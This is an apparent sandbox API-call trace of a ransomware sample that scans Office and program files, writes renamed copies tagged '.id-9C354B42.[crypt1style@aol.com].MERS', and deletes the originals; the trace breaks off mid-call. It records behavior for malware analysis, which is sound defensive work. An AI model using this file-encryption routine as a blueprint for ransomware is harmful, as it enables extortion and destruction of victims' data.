[0052.363] lstrlenW (lpString=".jpg") returned 4 [0052.363] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString=".doc") returned 4 [0052.363] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0052.364] lstrlenW (lpString=".docx") returned 5 [0052.364] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0052.364] lstrlenW (lpString=".pdf") returned 4 [0052.364] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0052.364] lstrlenW (lpString=".xls") returned 4 [0052.364] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0052.364] lstrlenW (lpString=".xlsx") returned 5 [0052.364] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0052.364] lstrlenW (lpString=".ppt") returned 4 [0052.364] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0052.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.364] lstrlenW (lpString=".zip") returned 4 [0052.364] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0052.364] lstrlenW (lpString=".rar") returned 4 [0052.364] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.364] lstrlenW (lpString=".bz2") returned 4 [0052.364] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.364] lstrlenW (lpString=".7z") returned 3 [0052.364] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.364] lstrlenW (lpString=".dbf") returned 4 [0052.364] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.364] lstrlenW (lpString=".1cd") returned 4 [0052.364] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.364] lstrlenW (lpString=".jpg") returned 4 [0052.364] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.364] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0052.364] lstrlenW (lpString="PNG32.FLT") returned 9 [0052.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.365] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=302976) returned 1 [0052.365] CloseHandle (hObject=0x1ec) returned 1 [0052.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0052.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.365] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.365] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.365] GetLastError () returned 0x0 [0052.365] ReadFile (in: hFile=0x1ec, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0052.392] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0052.398] ReadFile (in: hFile=0x1ec, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.398] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.398] SetEndOfFile (hFile=0x1e8) returned 1 [0052.398] CloseHandle (hObject=0x1e8) returned 1 [0052.398] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.398] SetEndOfFile (hFile=0x1ec) returned 1 [0052.401] CloseHandle (hObject=0x1ec) returned 1 [0052.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0052.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0052.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.421] lstrlenW (lpString=".doc") returned 4 [0052.421] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0052.421] lstrlenW (lpString=".docx") returned 5 [0052.421] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0052.421] lstrlenW (lpString=".pdf") returned 4 [0052.421] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0052.421] lstrlenW (lpString=".xls") returned 4 [0052.421] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0052.421] lstrlenW (lpString=".xlsx") returned 5 [0052.421] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0052.421] lstrlenW (lpString=".ppt") returned 4 [0052.421] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0052.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.421] lstrlenW (lpString=".zip") returned 4 [0052.421] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0052.421] lstrlenW (lpString=".rar") returned 4 [0052.421] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.421] lstrlenW (lpString=".bz2") returned 4 [0052.421] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.421] lstrlenW (lpString=".7z") returned 3 [0052.421] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.421] lstrlenW (lpString=".dbf") returned 4 [0052.422] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.422] lstrlenW (lpString=".1cd") returned 4 [0052.422] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.422] lstrlenW (lpString=".jpg") returned 4 [0052.422] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.422] lstrlenW (lpString=".doc") returned 4 [0052.422] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0052.422] lstrlenW (lpString=".docx") returned 5 [0052.422] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0052.422] lstrlenW (lpString=".pdf") returned 4 [0052.422] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0052.422] lstrlenW (lpString=".xls") returned 4 [0052.422] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0052.422] lstrlenW (lpString=".xlsx") returned 5 [0052.422] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0052.422] lstrlenW (lpString=".ppt") returned 4 [0052.422] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0052.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.422] lstrlenW (lpString=".zip") returned 4 [0052.422] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0052.422] lstrlenW (lpString=".rar") returned 4 [0052.422] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.422] lstrlenW (lpString=".bz2") returned 4 [0052.422] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.422] lstrlenW (lpString=".7z") returned 3 [0052.422] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.423] lstrlenW (lpString=".dbf") returned 4 [0052.423] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.423] lstrlenW (lpString=".1cd") returned 4 [0052.423] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0052.423] lstrlenW (lpString=".jpg") returned 4 [0052.423] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.423] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0052.423] lstrlenW (lpString="hxds.dll") returned 8 [0052.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.424] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1257984) returned 1 [0052.424] CloseHandle (hObject=0x214) returned 1 [0052.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0052.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.424] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.424] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0052.425] GetLastError () returned 0x0 [0052.425] ReadFile (hFile=0x214, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0) Thread: id = 13 os_tid = 0xa04 [0033.669] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x6d0a80 [0033.669] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x3840048 [0033.670] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640430 [0033.670] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x6430b0 [0033.670] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640448 [0033.670] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3940020 [0033.670] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640460 [0033.670] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640460, Size=0x20) returned 0x66f5c0 [0033.670] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640460 [0033.670] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640460, Size=0x20) returned 0x66f610 [0033.670] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.670] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.670] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff58 | out: OldValue=0x2d8ff58*=0x0) returned 1 [0033.670] lstrlenW (lpString="kernel32.dll") returned 12 [0033.670] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.670] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.670] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.670] Sleep (dwMilliseconds=0x64) [0033.904] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0033.904] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0033.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0033.912] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1565) returned 1 [0033.912] CloseHandle (hObject=0x194) returned 1 [0033.912] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0033.912] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0033.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0033.914] GetLastError () returned 0x0 [0033.914] ReadFile (in: hFile=0x194, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x61d, lpOverlapped=0x0) returned 1 [0034.012] WriteFile (in: hFile=0x198, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x620, lpOverlapped=0x0) returned 1 [0034.013] ReadFile (in: hFile=0x194, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.013] WriteFile (in: hFile=0x198, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.013] SetEndOfFile (hFile=0x198) returned 1 [0034.013] CloseHandle (hObject=0x198) returned 1 [0034.013] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.013] SetEndOfFile (hFile=0x194) returned 1 [0034.014] CloseHandle (hObject=0x194) returned 1 [0034.014] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.014] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0034.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.015] lstrlenW (lpString=".doc") returned 4 [0034.015] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString=".docx") returned 5 [0034.015] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.015] lstrlenW (lpString=".pdf") returned 4 [0034.015] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString=".xls") returned 4 [0034.015] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString=".xlsx") returned 5 [0034.015] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.015] lstrlenW (lpString=".ppt") returned 4 [0034.015] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.015] lstrlenW (lpString=".zip") returned 4 [0034.015] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.015] lstrlenW (lpString=".rar") returned 4 [0034.015] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString=".bz2") returned 4 [0034.015] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString=".7z") returned 3 [0034.015] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.015] lstrlenW (lpString=".dbf") returned 4 [0034.015] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.015] lstrlenW (lpString=".1cd") returned 4 [0034.015] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.016] lstrlenW (lpString=".jpg") returned 4 [0034.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.016] lstrlenW (lpString=".doc") returned 4 [0034.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString=".docx") returned 5 [0034.016] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.016] lstrlenW (lpString=".pdf") returned 4 [0034.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString=".xls") returned 4 [0034.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString=".xlsx") returned 5 [0034.016] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.016] lstrlenW (lpString=".ppt") returned 4 [0034.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.016] lstrlenW (lpString=".zip") returned 4 [0034.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.016] lstrlenW (lpString=".rar") returned 4 [0034.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString=".bz2") returned 4 [0034.016] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.016] lstrlenW (lpString=".7z") returned 3 [0034.016] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.016] lstrlenW (lpString=".dbf") returned 4 [0034.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.017] lstrlenW (lpString=".1cd") returned 4 [0034.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.017] lstrlenW (lpString=".jpg") returned 4 [0034.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.017] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.017] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0034.017] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.018] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1450) returned 1 [0034.018] CloseHandle (hObject=0x194) returned 1 [0034.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0034.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.019] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.019] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.019] GetLastError () returned 0x0 [0034.019] ReadFile (in: hFile=0x194, 